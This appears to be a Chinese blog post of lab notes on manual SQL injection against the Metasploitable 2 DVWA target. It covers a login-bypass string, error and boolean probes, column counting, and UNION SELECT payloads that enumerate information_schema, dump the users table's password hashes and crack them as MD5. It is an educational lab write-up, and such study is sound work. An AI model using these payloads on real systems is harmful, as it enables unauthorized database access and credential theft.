1,SQL注入,查看服务器系统,拿到账号密码。

1,SQL注入,查看服务器系统,拿到账号密码。任务 089 KALI 版本更新 第一个 ROLLING RELEASE 和手动漏洞挖掘 SQL 注入 笔记 靶机 metasploitab linux 2 0 0 sql 注入介绍 服务器端程序将用户输入参数作为查询条件 直接拼接 SQL 语句 并将查询结果返回给客户端浏览器

大家好,我是讯享网,很高兴认识大家。

任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

笔记

靶机metasploitable-linux-2.0.0

  1. sql注入介绍
    服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
    也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
    其实注入的都是sql语句
    1.1.原理下面是一个比如无需密码登陆
    1.1.2.这个是正常情况下 SELECT * FROM users WHERE user=‘里面是用户输入的账号 AND password=‘里面是用户输入的密码‘
    1.1.3.注入无需密码登陆SELECT * FROM users WHERE user=‘账号还是原账号’ AND password=’‘空格OR’1’=‘1’
    上面那个输入密码的地方’‘空格OR’1’='1’意思介绍,‘空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。
    应为服务器端没有过严格的过滤导致的注入
  2. 开始实验靶机metasploitable-linux-2.0.0
    正常情况下
    在这里插入图片描述
    讯享网
    在这里插入图片描述
    2.1.基于报错的检查方法
    ‘ “ % ( )
    判断报错就能判断是否访问数据库
    输入个’发现报错了说明可能带是叫‘带入了数据库
    在这里插入图片描述
    在这里插入图片描述
    2.2.基于布尔的检查方式
    1’ and ‘1’=‘11’ and ‘1
    1’ and ‘1’=‘2 或1’ and ‘0
    2.2.1.使用1’ and ‘1’=‘1
    发现输入可以正常显示说明
    在这里插入图片描述
    应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
    下面是1=2为假数据库就报错了
    在这里插入图片描述
    and竟然是逻辑或那没就直接可以and '1这个也是真
    发现可以正常返回正常页面
    在这里插入图片描述
    2.3.查看sql语句查看了多少查询的字段
    查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
    有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
    下面那可以看到有2个字段
    在这里插入图片描述
    这个输入输入都一样‘ order by 要查询多少个语句 –
    如果查询错了那就返回页面报错
    在这里插入图片描述
    点击提交
    在这里插入图片描述
    发现抱错了,抱错说明不是50个字段
    在这里插入图片描述
    然后在9,发现也报错了,说明也不是9字段
    在这里插入图片描述
    然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错
    在这里插入图片描述
    可以用burp工具
    2.4.联合查询union 和union all
    2.4.1.union
    使用union来选择查询
    ’ union select 1,2 -- ‘ 最后是有个空格的自己加上,上面我已经知道有2个所以这个我就选择查询1到2个
    第一个’是进行给前面闭合的,后面–是注释的符号
    在这里插入图片描述
    下面是演示叫字段显示出来
    在这里插入图片描述
    2.4.2查询用户1'union select user(),2 -- 最后是有个空格的自己加上,
    这个user()查询当前用户
    2还是查询2个字段
    在这里插入图片描述

    看一下结果
    在这里插入图片描述
    下面都是利用这2个这个字段来进行查询的
    2.4.3.查看版本
    ' union select user() ,version() -- 最后是有个空格的自己加上,下面介绍
    version()是sql函数他是查看版本的
    看一下结果
    在这里插入图片描述
    2.4.4.查看当前目录
    ' union select user() ,@@datadir -- 最后是有个空格的自己加上,下面介绍
    @@datadir 是查看当前目录
    看一下结果
    在这里插入图片描述

    2.4.5.查看目标电脑用户名
    ' union select user() ,@@hostname -- 最后是有个空格的自己加上,下面介绍
    @@hostname是查看电脑用户名
    看一下结果
    在这里插入图片描述
    2.4.6.查看系统
    ' union select user() ,@@version_compile_os -- 最后是有个空格的自己加上,下面介绍
    @@version_compile_os是查看系统类型的
    看一下结果
    在这里插入图片描述
    2.4.7.叫所有的函数放到一个字段里
    ' union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) -- 最后是有个空格的自己加上,下面介绍
    CONCAT_WS()就是在一个字段里面执行多个函数
    查看一下结果
    在这里插入图片描述
    2.5.mysq查看information_schema数据库内容
    information_schema数据库是 MySQL 自带的信息数据库information_schema是sql自带的信息库存放这MySQL服务器所有数据库的信息
    2.5.1.' union select table_name,table_schema from information_schema.tables-- 最后是有个空格的自己加上,下面介绍
    第一个字段是table_name
    第二个字段是 table_schema
    information_schema.tables意思是查看information_schema数据库里面的tables表的字段table_name和字段table_schema里面的内容
    看一下结果
    在这里插入图片描述
    2.5.2.统计一下所有的库和表的数量
    ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 最后是有个空格的自己加上,下面介绍

    information_schema库,查看库然后用count(*)来计数计算
    group by 是进行会总就是,有重复的就显示一个,会总的是table_schema是列名
    看一下结果
    在这里插入图片描述

    我发现存在一个漏洞都可以叫所有库和表都能查出来
    2.5.3.查看DVWA库里面的表
    ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- 最后是有个空格的自己加上,下面介绍
    在前面基础加上了where函数 table_schema='dvwa’意思是只查dvwa库
    看一下结果
    可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象
    在这里插入图片描述
    2.5.4.查看users表里面的列
    ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’-- 最后是有个空格的自己加上,下面介绍
    还是查看的information_schema这个数据库里面的columns表里面的table_schema列里面是dvwa的数据
    where table_schema='dvwa’在这个dvwa查看users表里都有什么列
    看一下结果
    发现了 user里面可能放着账号
    发现了password里面可能放着密码
    在这里插入图片描述

    2.5.5.查看 user列和password列的内容
    ' union select user,password from dvwa.users-- 最后是有个空格的自己加上,下面介绍
    查看dvwa数据库里面的users表里面的user和password列里面的数据
    看一下结果
    可以看的列出来了的所有的用户和密码
    密码被加密了
    在这里插入图片描述
    下面是进行解码

  3. 解密
    下面是进行解密上面的怀疑是哈希值的
    用hash-identifier工具进行看看是什么进加密的,这个工具kali自带
    在这里插入图片描述
    发现是MD5
    在这里插入图片描述
    可以去百度进行md5解码
    可以看见密码了
    在这里插入图片描述
    || |
    |–|--|
    | | |

作者

小讯
上一篇 2025-02-14 15:31
下一篇 2025-02-10 14:30

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/120952.html